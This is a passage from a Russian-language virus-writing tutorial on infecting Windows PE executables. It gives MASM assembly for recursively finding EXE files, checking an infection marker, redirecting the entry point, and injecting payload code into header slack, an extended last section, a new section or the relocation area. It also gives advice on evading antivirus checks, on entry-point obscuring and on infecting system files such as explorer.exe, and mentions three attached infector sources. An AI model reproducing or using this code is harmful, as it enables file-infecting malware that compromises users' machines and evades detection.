  49.         cld
  50.         rep stosb;удаляем маску
  51. ;####################END Удаляем '\*.*'#########################################
  52. ;#######################Добавляем имя директории к строке######################
  53.         lea ebx,Path
  54.         push ebx
  55.         call lstrlen
  56.         add ebx,eax
  57.         mov edi,ebx
  58.        
  59.         push edi
  60.         lea edx,Find.cFileName
  61.         push edx
  62.         call lstrlen   
  63.         mov ecx,eax
  64.         inc ecx
  65.         pop edi
  66.  
  67.         lea edx,Find.cFileName
  68.         mov esi,edx
  69.         cld
  70.         rep movsb
  71.         mov byte ptr [edi],0
  72. ;#######################END Добавляем имя директории к строке##################
  73.         lea ebx,Path
  74.         push Mask2
  75.         push ebx
  76.         call FindEXE;рекурсивный вызов
  77.         std
  78.        
  79.         lea ebx,Path
  80.         push ebx
  81.         call lstrlen
  82.         add ebx,eax
  83.         mov edi,ebx
  84.  
  85.         mov ecx,10000
  86.         mov al,'\'
  87.         repne scasb
  88.         add edi,2
  89.         mov ecx,3
  90.         mov eax,0f3h
  91.         cld
  92.         rep stosb
  93.         mov byte ptr [edi],0
  94.     .ELSE
  95. ;###############################Не EXE ли это#########################################
  96.         lea ebx,Find.cFileName;не exe ли это?
  97.         push ebx
  98.         push ebx
  99.         call lstrlen
  100.         pop ebx
  101.         add ebx,eax
  102.         sub ebx,4
  103.         .IF (dword ptr [ebx]=='exe.')||(dword ptr [ebx]=='EXE.')
  104.             ;EXE ФАЙЛ НАЙДЕН!!!  
  105.         .ENDIF
  106. ;###############################Не EXE ли это#########################################
  107.     .ENDIF
  108.     invoke FindNextFile,hFile,ADDR Find;продолжение поиска
  109. .ENDW      
  110. .ENDIF
  111. popad
  112. ret
  113. FindEXE endp
  114. ;#################################################################
  115. ;Конец Процедуры FindEXE рекурсивного поиска файлов
  116. ;#################################################################

Проверка PE-файла на правильность

Как проверить, что PE-файл является вилидным я рассказывал в главе 1. Просто, используйте процедуру ValidPE, передавая ей правильные параметры.

Способ 1. Внедрение в заголовок

У нас в распоряжении есть исполняемый файл, мы должны заразить его. Давайте рассмотрим первый способ. Как Вы уже знаете, в начале PE-файла идtn PE-заголовок. Между окончанием таблицы секции и первой секцией есть промежуток. Этот промежуток появляется из-за файлового выравнивания выравнивания (значение FileAlignment в файловом заголовке). Туда мы можем впихнуть исполняемый вредоносный код. Плохо, что места мало, значит либо наш вирус будет очень маленьким или очень оптимизированным, либо в это место мы внедрим только часть вируса. Хорошо то, что размер файла не изменяется. Запись в данную область возможна, если изменить атрибуты соответствующих страниц. Рассмотрим алгоритм внедрения кода, используя запись в заголовок:

  1. Найти конец таблицы секций
  2. Найти физическое смещение 1 секции
  3. Вычислить максимальный размер кода, который можно внедрить
  4. Проверить bound-импорты. Если они присутствуют, то уничтожить запись о них в таблице директорий.
  5. Записать код.
  6. В конец кода установить jmp нормальную AddressOfEntryPoint
  7. Изменить AddressOfEntryPoint
  8. Изменить SizeOfHeaders на физическое смещение последней секции
  9. Есть шаги, которые необходимо будет выполнять при любом способе заражения. Я опишу их в каждом разделе.

Получение важных частей отображения

При работе с PE-файлом мы будем постоянно обращаться к некоторым областям, важными для нас. Необходимо получить указатели на них, чтобы постоянно не вычислять эти значения. Нам будут нужны следующие значения: PE-заголовок, таблица секций, таблица директорий, файловый заголовок, опциональный заголовок. В этом примере кода, предполагается что в hMap находиться проекция EXE-файла-жертвы.

Код (Text):
  1.  
  2. .data?
  3.     pPE dd ?
  4.     pSectionTable dd ?
  5.     pDataDirectory dd ?
  6.     pFileHeader dd ?
  7.     pOptionalHeader dd ?
  8. ………
  9. ;#####################Получение адреса PE-заголовка###############################
  10. assume edi:ptr IMAGE_DOS_HEADER
  11. mov edi,hMap
  12. add edi,[edi].e_lfanew
  13. mov pPE,edi
  14. ;#####################END Получение адреса PE-заголовка###########################
  15. ;#####################Получение адреса файлового заголовка########################
  16. add edi,4
  17. mov pFileHeader,edi
  18. ;#####################END Получение адреса файлового заголовка####################
  19. ;#####################Получение адреса опционального заголовка####################
  20. add edi,sizeof IMAGE_FILE_HEADER
  21. mov pOptionalHeader,edi
  22. ;#####################END Получение адреса опционального заголовка################
  23. ;#######################Получение адреса таблицы директорий#######################
  24. assume edi:ptr IMAGE_OPTIONAL_HEADER
  25. lea edi,[edi].DataDirectory
  26. mov pDataDirectory,edi
  27. ;#######################END Получение адреса таблицы директорий###################
  28. ;############################Получение адреса талицы секций#######################
  29. mov edi,pOptionalHeader
  30. mov eax,[edi].NumberOfRvaAndSizes
  31. mov edi,pDataDirectory
  32. mov edx,sizeof IMAGE_DATA_DIRECTORY
  33. mul edx
  34. add edi,eax
  35. mov pSectionTable,edi
  36. ;########################END Получение адреса таблицы секций######################

Переход на старый AddressOfEntryPoint

 Когда мы внедряем код, то мы изменяем точку входа на нашу. Чтобы управление вернулось программе необходимо прыгнуть на инструкции, с которых первоначально планировалось выполнение. Ниже приведен отрывок кода, который добавляет инструкции после внедренного кода для перехода на оригинальную точку входа. Предполагается, что в pOptionalHeader находиться указатель на опциональный заголовок. Так же предполагается, что в регистре EDI находиться место, куда мы хотим записать команды перехода. Проекция EXE файла создается не как SEC_IMAGE, а как обычная, потому что при SEC_IMAGE запись на диск не производиться :(, даже если мы изменяем атрибуты страниц с помощью VirtualProtect

Код (Text):
  1.  
  2. ;#############################Переход на старую точку входа#######################
  3.     mov esi,pOptionalHeader
  4.     assume esi:ptr IMAGE_OPTIONAL_HEADER
  5.     mov eax,[esi].AddressOfEntryPoint;В EAX - старая точка входа
  6.     add eax,[esi].ImageBase
  7.     mov byte ptr [edi],0BFh;BF - опкод команды mov edi,XXXXXXX
  8.     inc edi
  9.     push eax
  10.     pop dword ptr [edi];Джампим к старой точке входа
  11.     add edi,4
  12.     mov word ptr [edi],0E7FFh;FFE7 - опкод команды jmp edi
  13. ;#########################END Переход на старую точку входа#######################

Код инфектора

Сначала мы получаем все важные части отображения. После проецирования файла проверяем корректен ли он. Если он корректен, то проверяем, не заражен ли он уже. Чтобы это проверить, надо знать некоторые отличительные особенности зараженности данного файла. При самом заражении в поле Win32VersionValue добавляются байты - 00BADF11Eh. Если в данном поле такие байты, то файл заражен. Посмотрите на пример:

Код (Text):
  1.  
  2. ;##############################Не заражен ли уже файл?############################
  3.     mov edi,pOptionalHeader
  4.     assume edi:PTR IMAGE_OPTIONAL_HEADER
  5.     .IF [edi].Win32VersionValue==00BADF11Eh
  6.         push MB_ICONERROR
  7.         push offset TitleMes1
  8.         push offset Error2Str
  9.         push 0
  10.         call MessageBox
  11.         jmp Exit
  12.     .ENDIF
  13. ;##########################END Не заражен ли уже файл?############################

Для индикатора зараженности подойдет любое поле, которое не используется загрузчиком. Я описывал ранее, какие это поля. Если посмотреть внимательно на какой-нибудь PE-файл с Bound-импортом, то обычно Bound-импорт помещается как раз в это свободное пространство нужное нам. Bound-импорт – средство оптимизации загрузки. Но если его удалить, то файл будет все равно нормально загружаться.

Теперь надо найти начало свободного пространства в заголовке. Это пространство будет начинаться сразу после таблицы секций. Посмотрите на код и мои комментарии:

Код (Text):
  1.  
  2. ;###############################Поиск конца таблицы секций+1######################
  3. mov edi,pFileHeader
  4. assume edi:ptr IMAGE_FILE_HEADER
  5. xor eax,eax
  6. mov ax,[edi].NumberOfSections
  7. mov edx,sizeof IMAGE_SECTION_HEADER
  8. mul edx;теперь в eax - количество байт, которые занимают все секции
  9. mov edi,pSectionTable
  10. add edi,eax;теперь в edi - начало промежутка
  11. push edi;сохраняем начало промежутка
  12. ;############################END Поиск конца таблицы секций+1#####################

Чтобы получить начало первой секции в файле надо пройтись по всем секциям и сохранить минимальное физическое смещение. Мы делаем это для того, что в таблице секций, первая запись не обязательно соответствует первой секции в файле. Иначе можно было бы взять информацию из первой записи в таблице секций. Чаще, в конечном итоге, так и получается. Вот исходный делающий эти операции:

Код (Text):
  1.  
  2. ;########################Поиск физического смещения первой секции#################
  3. mov edi,pFileHeader
  4. assume edi:ptr IMAGE_FILE_HEADER
  5. xor ecx,ecx
  6. mov cx,[edi].NumberOfSections
  7. dec cx
  8. mov edi,pSectionTable
  9. assume edi:ptr IMAGE_SECTION_HEADER
  10. xor eax,eax
  11. mov eax,[edi].PointerToRawData;в eax - физическое смещение 1 секции в таблице секций
  12. add edi,sizeof IMAGE_SECTION_HEADER
  13. NextSection:
  14. .IF eax>[edi].PointerToRawData
  15.     mov eax,[edi].PointerToRawData
  16. .ENDIF
  17. add edi,sizeof IMAGE_SECTION_HEADER
  18. loop NextSection
  19. ;#####################END Поиск физического смещения первой секции################

После проекции, проверки EXE-файла и получения информации о промежутке в заголовке проецируем файл, откуда берутся данные, которые надо внедрять. Потом проверяем размер промежутка и размер файла. Если размер промежутка достаточен для кода, то можно внедрять. Код внедряем обычными цепочечными командами ассемблера:

Код (Text):
  1.  
  2. ;######################################Запись#####################################
  3.     mov ecx,eax;количество байт для записи
  4.     mov edi,AddressOfCode
  5.     mov esi,hMap2
  6.     rep movsb;запись!
  7. ;######################################Запись#####################################

После данных из файла необходимо поставить переход на нормальную точку входа. Я делаю это следующими инструкциями:

mov EDI,<Старая_точка_входа+ImageBase>;BFXXXXXXXX

jmp edi;FFE7

Далее программа модифицирует точку входа. Параметр SizeOfHeaders очень важен для нас. Он должен быть равен физическому смещению последней секции. Иначе загрузчик не спроецирует код, а забьет пространство нулями.

В этом(ссылка на файл pe_infector1.asm) файле находиться код инфектора. К сожалению, этот способ внедрения отлавливают все антивирусы, просто проверяя, что точка входа указывает на заголовок. Можно, например, записать код в заголовок и потом использовать его. При этом обязательно, чтобы AddressOfEntryPoint не указывал на заголовок. Т.е. можно использовать это место для хранения т.н. загрузочной процедуры, которая передает управление на соответствующие инструкции.

Способ 2. Запись в конец последней секции

Этот способ более предпочтителен для внедрения потустороннего кода в PE-файл. Можно внедрять сколько угодно кода. Но, используя данный способ изменяется размер файла. Что в этом плохого догадайтесь сами. Способ заключается в простом добавлении кода в конец последней секции с изменением параметров для данной секции. Вот алгоритм внедрения, используя расширение последней секции:

1.                  Находим последнюю секцию виртуально и физически.

2.                  Проверка, не равен ли размер последней секции нулю.

3.                  Если нет, то записываем в конец секции код вируса.

4.                  Выравниваем новую секцию с учетом файлового выравнивания.

5.                  Правим виртуальный и физический размеры секций.

6.                  Правим точку входа.

7.                  Правимразмеробраза – ImageSize=VirtualSize+VirtualAddress

8.                  Правим - характеристики – на 0А0000020h

Ну как? По-моему ничего сложного. Надо просто знать, какие поля есть в PE-заголовке, и помнить о них. Здесь нам пригодиться и вычисление выравнивания секций. Как вы помните из главы 1, есть формула для вычисления, выровненного вверх или вниз, значения. Был также приведен код процедур для этих расчетов. Сейчас, я приведу код и Вам мигом все станет понятно.

Итоговый размер файла

Первая проблема, которая возникла – это каким делать размер файла. Ведь его нужно знать до заражения. Его нужно знать, чтобы соответствующим образом спроецировать файл и чтобы хватило места в проекции для внедряемого кода. Для нового размера файла используется такая формула:

Y=X+AlignUp(размер_кода+7,FileAlignment),

где X – исходный размер файла, Y – новый размер файла, FileAlignment – файловое выравнивание для файла-жертвы. Для удобства я сделал процедуру для получения файлового выравнивания. Учтите что данная процедура не сохраняет регистры. Взгляните на эту процедуру:

Код (Text):
  1.  
  2. ;####################################################
  3. ;Процедура GetFileAlignment
  4. ;Получение выровненного-вверх значения
  5. ;Вход:  esi - указатель на строку с именем файла
  6. ;Выход: eax - значение FileAlignment
  7. ;!!!!!!!Процедура не сохраняет регистры!!!!!!!!!!!!!!
  8. ;####################################################
  9. GetFileAlignment proc
  10. LOCAL hFile1:DWORD
  11. LOCAL hMapping1:DWORD
  12. ;#########################Create File Mapping instructions########################
  13. invoke CreateFile,esi,GENERIC_WRITE or  GENERIC_READ,FILE_SHARE_WRITE,NULL,
  14.        OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  15. mov hFile1,eax
  16. invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
  17. mov hMapping1,eax
  18. invoke MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0
  19. ;#########################END Create File Mapping instructions####################
  20. ;##################Проверка правильности PE-файла и ошибок при проекции###########
  21.     .IF eax==0;ошибки при проецировании
  22.         invoke CloseHandle,hFile1
  23.         invoke CloseHandle,hMapping1
  24.         mov eax,0
  25.         ret
  26.     .ENDIF
  27.     mov esi,eax
  28.     call ValidPE
  29.     .IF eax==0;EXE-файл не корректный
  30.         push esi
  31.         call UnmapViewOfFile
  32.         invoke CloseHandle,hFile1
  33.         invoke CloseHandle,hMapping1
  34.         mov eax,0
  35.         ret
  36.     .ENDIF
  37. ;##############END Проверка правильности PE-файла и ошибок при проекции###########
  38. ;#####################Получение адреса PE-заголовка###############################
  39. assume edi:ptr IMAGE_DOS_HEADER
  40. mov edi,esi
  41. add edi,[edi].e_lfanew
  42. ;#####################END Получение адреса PE-заголовка###########################
  43. ;#####################Получение адреса файлового заголовка########################
  44. add edi,4
  45. ;#####################END Получение адреса файлового заголовка####################
  46. ;#####################Получение адреса опционального заголовка####################
  47. add edi,sizeof IMAGE_FILE_HEADER
  48. assume edi:ptr IMAGE_OPTIONAL_HEADER
  49. invoke CloseHandle,hFile1
  50. invoke CloseHandle,hMapping1
  51. mov eax,[edi].FileAlignment
  52. ;#####################END Получение адреса опционального заголовка################
  53. ret
  54. GetFileAlignment endp
  55. ;####################################################
  56. ;Конец Процедуры GetFileAlignment
  57. ;####################################################

Код инфектора

В начале работы программы она высчитывает значение размера нового файла. Потом это значение используется при проекции EXE-файла жертвы. После этого как обычно программа проходит по EXE-файла и вылавливает нужные указатели. После получения нужных данных проходим по таблице секций и выясняем, какая все-таки секция последняя. Важно, что мы смотрим не только на физическое смещение в файле, но и на виртуальное. А то может оказаться, что физически секция последняя, а виртуально нет. В этом случае если мы все-таки внедрим код, то он перепишем данные секции, которая виртуально идет после последней физически. Так что, это надо иметь ввиду. Код:

Код (Text):
  1.  
  2. ;###################Находим последнюю секцию виртуально и физически###############
  3. mov edi,pFileHeader
  4. assume edi:ptr IMAGE_FILE_HEADER
  5. xor ecx,ecx
  6. mov cx,word ptr [edi].NumberOfSections
  7. mov edi,pSectionTable
  8. assume edi:ptr IMAGE_SECTION_HEADER
  9. mov eax,[edi].PointerToRawData
  10. mov ebx,[edi].VirtualAddress
  11. add edi,sizeof IMAGE_SECTION_HEADER
  12. dec ecx
  13. NextSection:
  14. .IF (eax<[edi].PointerToRawData)&&(ebx<[edi].VirtualAddress)
  15.     mov eax,[edi].PointerToRawData
  16.     mov ebx,[edi].VirtualAddress
  17.     mov pLastSection,edi;указатель на запись о последней секции
  18. .ENDIF
  19. add edi,sizeof IMAGE_SECTION_HEADER
  20. loop NextSection
  21. ;###############END Находим последнюю секцию виртуально и физически###############

Далее проверяем, что найденная секция имеет не нулевой размер. Если бы секция имела бы нулевой физический размер, то это секция с неинициализированными данными. В коде приложения содержатся ссылки на эту секцию. Если мы в начало запишем наш код, то в итоге по некоторым адресам будут записываться данные. Т.о. часть нашего кода перепишется. А это нам естественно не нужно. Вот пример проверки, что найденная секция ненулевая:

Код (Text):
  1.  
  2. ;#########################Не нулевая ли последняя секция?#########################
  3. mov edi,pLastSection
  4. .IF [edi].SizeOfRawData==0;последняя секция нулевая
  5.     jmp Exit
  6. .ENDIF
  7. ;#####################END Не нулевая ли последняя секция?#########################

После этих действий записываем код и правим некоторые значения. Какие значения править было описано в алгоритме выше.

            При внедрении заметьте, что мы добавляем данные в конец последней секции. Т.е. мы не используем место оставшееся в результате файлового выравнивания. Учитывая этот факт, новая точка входа будет равна RVA секции + SizeOfRawData до заражения. Также как и в прошлом примере в код добавляется переход на старую точку входа. Правка точки входа достигается следующим кодом:

Код (Text):
  1.  
  2. ;############################Правка AddressOfEntryPoint###########################
  3. mov edi,pLastSection
  4. assume edi:ptr IMAGE_SECTION_HEADER
  5. mov eax,[edi].VirtualAddress
  6. add eax,[edi].SizeOfRawData
  7.  
  8. mov edi,pOptionalHeader
  9. assume edi:ptr IMAGE_OPTIONAL_HEADER
  10. lea edi,[edi].AddressOfEntryPoint
  11. mov dword ptr [edi],eax
  12. ;########################END Правка AddressOfEntryPoint###########################

Загрузчик проверяет выполнение равенства ImageSize=VirtualSize+VirtualAddress. Из-за этого мы должны изменить ImageSize:

Код (Text):
  1.  
  2. mov edi,pLastSection
  3. assume edi:ptr IMAGE_SECTION_HEADER
  4. mov eax,[edi].Misc.VirtualSize
  5. add eax,[edi].VirtualAddress
  6. mov edi,pOptionalHeader
  7. assume edi:ptr IMAGE_OPTIONAL_HEADER
  8. lea edi,[edi].SizeOfImage;Правка ImageSize
  9. mov dword ptr [edi],eax

В файле pe_infector2.asm находиться код инфектора. В результате заражения размер файла увеличивается. Это может вызвать подозрения. Используя данный метод заражения можно внедрить код любого размера. Также можно заразить файл бесконечное количество раз и он будет работать. У меня был notepad.exe, который занимал 30 Мб. Он был просто заражен много раз. Полезная нагрузка (внедряемый код) занимала ~3Мб. Но notepad.exe запускался после повторения некоторых действий.

Способ 3. Добавление новой секции

Теперь давайте сами добавим новую секцию в PE-файл. Алгоритм добавления новой секции выглядит так:

1)      Если есть Bound-импорты, то удалить их.

2)      Найти конец таблицы секций.

3)      Добавить запись о своей секции в таблицу секций.

4)      Обновить соответствующие поля.

5)      Записать код по нужному файловому смещению.

6)      Правим точку входа.

7)      Правим размер образа – ImageSize=VirtualSize+VirtualAddress

8)      Правим NumberOfSections

Код инфектора

Размер нового файла вычисляется по такой же формуле что и в предыдущем способе. Первым делом в программе как раз вычисляется новый размер файла. После этого опять ищем Bound-импорты, которые могут находится сразу после оригинальной таблицы секций. Затираем запись о Bound-импортах в таблице директорий. После окончания оригинальной таблицы секций забиваем нулями 40 байт – это будет наше место для новой записи в таблице секций. Хорошо, место есть. Теперь надо создать запись о новой секции и внести туда правильные данные. Чтобы выяснить какие данные нужны, посмотрите на структуру IMAGE_SECTION_HEADER. Имя секции выбираем любое. Главное чтобы оно укладывалось в 8 байт. Я назвал свою секцию .new. Еще один способ проверки не заражен ли уже файл – это проверка названия последней секции. VirtualSize – это размер нашего вредного кода. Чтобы посчитать виртуальный адрес новой секции надо взять виртуальный адрес последней секции. Потом взять размер в файле этой секции. Сложить полученные данные и выровнять их по SectionAlignment. Для получения значения SectionAlignment используется процедура GetSectionAlignment. Код:

Код (Text):
  1.  
  2. ;########################Получаем информацию для новой секции#####################
  3. mov edi,pLastSection
  4. assume edi:ptr IMAGE_SECTION_HEADER
  5. mov eax,[edi].VirtualAddress
  6. add eax,[edi].SizeOfRawData
  7. push eax
  8.  
  9. push hFile
  10. call CloseHandle
  11.  
  12. mov esi,ofn.lpstrFile
  13. call GetSectionAlignment
  14.  
  15. pop esi
  16. mov edi,eax
  17. call GetAlignUp;eax - Виртуальный адрес новой секции
  18. push eax
  19. ;####################END Получаем информацию для новой секции#####################

 SizeOfRawData – берем значение виртуального размера и выравниванием на FileAlignment.  Для получения значения FileAlignment используется процедура GetFileAlignment. PointerToRawData будет соответствовать старому размеру файла, т.е. данные для секции добавляются в хвост. Далее все оставляем, кроме характеристик. Как выставлять характеристики нам известно. После создания записи о новой секции внедряем код в конец файла. Потом правим AddressOfEntryPoint, ImageSize. И не забудьте подправить NumberOfSections, а то лоадер начнет ругаться что-то там про win32. Воткакяделаюэто:

Код (Text):
  1.  
  2. ;############################Правка Number Of Section##############################
  3. mov edi,pFileHeader
  4. assume edi:ptr IMAGE_FILE_HEADER
  5. lea edi,[edi].NumberOfSections
  6. inc word ptr [edi]
  7. ;############################END Правка Number Of Section##########################

В файле pe_infector3.asm находиться код инфектора. Я не проверяю ошибки, так что сделайте так чтобы файлы, которые Вы открываете, были валидны. В этом инфекторе не также проверки на зараженность, чтобы показать что файл можно заражать несколько раз. В результате заражения размер файла увеличивается. Можно заражать несколько раз, но не бесконечное число. Количество зависит от места конца таблицы секций до данных первой физической секции. Если вдруг антивирус обращет внимание, что точка входа стоит на последней секции, то создайте две секции. На первую из них будет указывать AddressOfEntryPoint. Тогда подозрение по данному признаку исчезнут.

Способ 4. Удаление базовых поправок

В некоторых PE-файлах присутствуют базовые поправки. Вы уже знаете, что это такое, если читали с начала главу. Так вот они в большинстве случаев для EXE-файла не обязательны. Линкеры по умолчанию не создают базовых поправок в PE-файле в целях оптимизации. Мы можем использовать место, отведенное для базовых поправок, для внедрения кода. Чаще всего для базовых поправок отведена отдельная секция, которая называется .reloc. Но эти данные могут и не иметь отдельной секции. Чтобы узнать, где действительно распологается базовые поправки необходимо обратиться к таблице директорий. При заражении мы должны вынудить заргрузчик не использовать базовые поправки для данного EXE-файла. Для этого требутся всего лишь обнулить запись о базовых поправках в таблице директорий. Алгоритм замены секции базовых поправок выглядит так:

  • 1) В таблице директорий удалить запись о базовых поправках.

  • 2) Записать код на это место.

  • 3) Изменить AddressOfEntryPoint

Это все! Никаких ImageSize и т.д. не нужно править т.к. мы не изменяем размер файла.

Полезная нагрузка(payload)

Теперь вы знаете, как внедряться в исполняемый файл. Код, который будет внедрен должен быть базонезависимым. Что обеспечить это условие необходимо использовать дельта смещение и связанные с ним техники. О дельта смещении вы должны были узнать в 1 главе. Код, который здесь приводился базозависим. Это сделано для большего понимания приводимого материала. Но если вы читали главу 1, то для Вас не составит труда сделать код базонезависимым. Также можно использовать термин – код в шел-код стиле.

Продвинутые приемы при заражении PE-файлов

Один из продвинутых приемов при заражении файлов является модификация кода программы. Это довольно сложно. Неоходимо анализировать код программы и выискивать оттуда пустые места или инструкции, которые можно заменить. Если мы просто заразили файл и точку входа изменили на наш код, то это сразу вызвет подозрения, даже визульно. Хороший инфектор должен быть практически невидим, т.е. не отличаться от кода программы. Вы можете размазывать весь код вируса по всему PE-файлу. Куда его засовывать? Да очень просто. У каждой секции есть файловое выравнивание. Следовательно остается свободное место в конце каждой физической секции. Когда в одной секции место закончилось ставьте jmp на следующий кусок кода и так далее. При модификации кода необходимо сохранять старые байты команд, т.е. например не переписать случайно половину команды. В этом случае помогает дизассемблер в вирусе специально написанный Вами. О дизассемлере в вирусах и его использовании я буду говорить в соответствующей главе. Эта тема требут отдельного разговора и называется EPO (EPO:Entry-PointObscuring). При модификации кода, часто необходимо учитывать базовые поправки. Если вдруг Вы попытались заразить DLL, а ей базовые поправки нужны очень часто, то Вы должны позаботиться при модификации кода о прапатчивании модифицированных элементов. Так или иначе Microsoft приподнесла нам подарок в виде файлового выравнивания. Мы можем как угодно использовать это свободное место. Еще один способ для получения свободного места – сжатие оригинального кода. На его место можно записать наш код. При запуске файла код распаковывается, а вирус попадает на какой-то виртуальный адрес. Можно сделать заражение не использую код в шел-код стиле. Есть исполняемый файл, который является вирусом. Есть жертва. Мы берем исполняемый файл, добавляем все данные файла жертвы в файл вируса. Модифицируем с учетом новых данных вирусный PE-файл. Далее заменяем файл жертву на новый файл. При запуске зараженного файла некоторый код вируса, используя сохраненные данные, создает временный оригинальный файл и запускает его. В итоге запускается оригинальный файл. Сразу же исчезают многие проблему. Но у этого способа есть недостатки. Например, решение о том где хранить оригинальный файл. Если мы будем хранить его в той же папке это сразу можно заметить. Еще один способ заключается в следующем. Мы внедряем код запуска некоторого файла в жертву. При запуске жертвы запускается вредоносный файл, и жертва продолжает работу. Ну, это слишком просто. Тем более будет отображеться новый процесс. Это просто новый способ автозагрузки. Например, если заразить explorer.exe. Можно заразить любой файл из папки Windows. Например, notepad.exe. Это можно осуществить, т.к. WFP(Windows File Protection) побеждена. Я расскажу Вам об этом скоро. Вообще можно придумать куча вещей, неоходимо немного фантазии и знание PE-формата. Кое-что Вы можете почитать из той литературы, которую я Вам предложу ниже.

Источники для дальнейших исследований

  1. Основные методы заражения PE EXE [Sars/HI-TECH] www.wasm.ru
  2. Об упаковщиках в последний раз: Часть 1/2 [Volodya/HI-TECH,NEOx/UINC] www.wasm.ru
  3. Windows NT and Viruses [Alan Solomon] http://vx.netlux.org
  4. MSIL-PE-EXE infection strategies [Benny/29A] http://vx.netlux.org
  5. ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables (PE) [Hard Wisdom] http://cracklab.ru/
  6. EPO: Entry-Point Obscuring [GriYo/29A] http://vx.netlux.org
  7. An In-Depth Look into the Win32 Portable Executable File Format, Part 1/2 [Matt Pietrek] http://www.microsoft.com
  8. Путь воина - внедрение в pe/coff файлы[Крис Касперски] http://www.insidepro.com/
  9. PE Infection school[JHB] http://vx.netlux.org
  10. The PE file format [LUEVELSMEYER] http://www.cs.bilkent.edu.tr/~hozgur/PE.TXT
  11. Microsoft Portable Executable and Common Object File Format Specification[Microsoft] http://www.microsoft.com
  12. PORTABLE EXECUTABLE FORMAT [Micheal J. O'Leary]
  13. The Evolution of 32-Bit Windows Viruses[Peter Szor, Eugene Kaspersky] http://vx.netlux.org
  14. Optimizing DLL Load Time Performance [Matt Pietrek] http://www.microsoft.com
  15. What Goes On Inside Windows 2000: Solving the Mysteries of the Loader [Russ Osterlund] http://www.microsoft.com
  16. Injected Evil (executable files infection)[Z0mbie/29a]
  17. Загрузчик PE-файлов[Максим М. Гумеров] http://www.rsdn.ru
  18. Programming Applications for Microsoft Windows[Jeffrey Richter]
  19. Исследование переносимого формата исполнимых файлов "сверху вниз"[Randy Kath] http://education.kulichki.net/comp/hack/27.htm.
  20. Infectable Objects 1/2/3/4[Robert Vibert] http://www.secutityfocus.com
  21. Ideas and theoryes on PE infection[b0z0/iKx] http://vx.netlux.org

Резюме

В этой главе мы рассмотрели формат исполняемых файлов win32. Рассмотрели каждое поле в отдельности и в общем весь формат. Были приведены примеры работы с PE-форматом на С и ассемблере. Мы узнали как заражать PE-файлы. Цель данной статьи - рассказать Вам как устроен PE-формат, расписать некоторые трудности при записи своего кода в посторонний файл. Также Вы должны приобрести гибкость при анализе любого исполняемого файла и создании своих способов внедрения. К статье прилагется исходные коды 3-х инфекторов и дампера PE-формата в 2-х версиях.

Файлы к статье.

© Bill / TPOC

0 6.430
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532